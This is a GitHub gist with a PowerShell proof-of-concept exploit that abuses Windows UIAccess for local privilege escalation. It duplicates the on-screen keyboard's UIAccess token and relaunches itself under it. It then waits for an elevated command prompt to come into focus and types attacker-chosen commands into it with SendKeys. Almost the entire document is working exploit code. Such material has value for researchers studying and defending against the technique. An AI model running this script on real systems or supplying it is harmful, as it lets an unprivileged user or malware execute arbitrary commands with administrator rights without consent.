Skip to content

Instantly share code, notes, and snippets.

@tyranid
Last active March 3, 2024 12:29
Show Gist options
  • Star 10 You must be signed in to star a gist
  • Fork 9 You must be signed in to fork a gist
  • Save tyranid/be0fe81334d55aff9258a419e70a5a18 to your computer and use it in GitHub Desktop.
Save tyranid/be0fe81334d55aff9258a419e70a5a18 to your computer and use it in GitHub Desktop.
<#
This script abuses UIAccess to get elevated privileges
if an admin command prompt is focussed while executing.
Execute the script from a normal user and specify the
-SendText command. For example passing "notepad" will
send the text "`r`nnotepad`r`n" to the focussed admin
command prompt on the desktop which will cause the
prompt to execute notepad with elevated privileges.
You also need to install the NtObjectManager module.
#>
param(
[Parameter(Mandatory)]
[string]$SendText,
[switch]$Respawn
)
Import-Module NtObjectManager
function Get-UIAccessToken {
$osk = Start-Process osk.exe -PassThru
Use-NtObject($p = Get-NtProcess -Access QueryLimitedInformation -ProcessId $osk.Id) {
$osk.Kill()
Use-NtObject($t = Get-NtToken -Access Duplicate,Query -Process $p) {
if ($t.UIAccess -eq $false) {
Write-Host "OSK didn't start UIAccess"
return $null
}
$il = Use-NtObject($pt = Get-NtToken) {
$pt.IntegrityLevel
}
return Get-NtToken -Process $p -Duplicate -TokenType Primary -IntegrityLevel $il
}
}
}
function Start-UIAccess {
try {
Use-NtObject($t = Get-UIAccessToken) {
if ($t -eq $null) {
return
}
Use-NtObject($p = New-Win32Process -CommandLine "powershell `"$PSCommandPath`" -SendText `"$SendText`" -Respawn" -Token $t -TerminateOnDispose) {
$p.Process.Wait() | Out-Null
}
}
} catch {
Write-Host $_
}
}
if (!$Respawn) {
Start-UIAccess
exit
}
Use-NtObject($t = Get-NtToken) {
if ($t.UIAccess -eq $false) {
Write-Host "Not running with UIAccess set"
exit
}
}
$code = @'
using System;
using System.Text;
using System.Runtime.InteropServices;
public static class Win32Utils
{
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr GetForegroundWindow();
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern int GetWindowThreadProcessId(IntPtr hWnd, out int lpdwProcessId);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
static extern int GetWindowText(IntPtr hWnd, StringBuilder text, int count);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
static extern int GetWindowTextLength(IntPtr hWnd);
public static int GetForegroundProcessId()
{
int pid = 0;
if (GetWindowThreadProcessId(GetForegroundWindow(), out pid) != 0)
return pid;
return 0;
}
public static string GetForegroundWindowTitle()
{
IntPtr hWnd = GetForegroundWindow();
int length = GetWindowTextLength(hWnd);
StringBuilder builder = new StringBuilder(length + 1);
if (GetWindowText(hWnd, builder, length + 1) > 0) {
return builder.ToString();
}
return string.Empty;
}
}
'@
Write-Host "Waiting for elevated command prompt to send `"$SendText`""
Add-Type -TypeDefinition $code
Add-Type -AssemblyName "System.Windows.Forms"
while($true) {
try {
$title = [Win32Utils]::GetForegroundWindowTitle()
$winid = [Win32Utils]::GetForegroundProcessId()
if ($winid -gt 0) {
Use-NtObject($p = Get-NtProcess -ProcessId $winid -Access QueryLimitedInformation) {
if ($p.Name -eq "cmd.exe") {
Use-NtObject($t = Get-NtToken -Process $p) {
if ($t.Elevated) {
Write-Host "Elevated command prompt in foreground - $winid - $title"
[System.Windows.Forms.SendKeys]::SendWait("`r`n$SendText`r`n")
exit
}
}
}
}
}
} catch {
}
Start-Sleep -Seconds 1
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment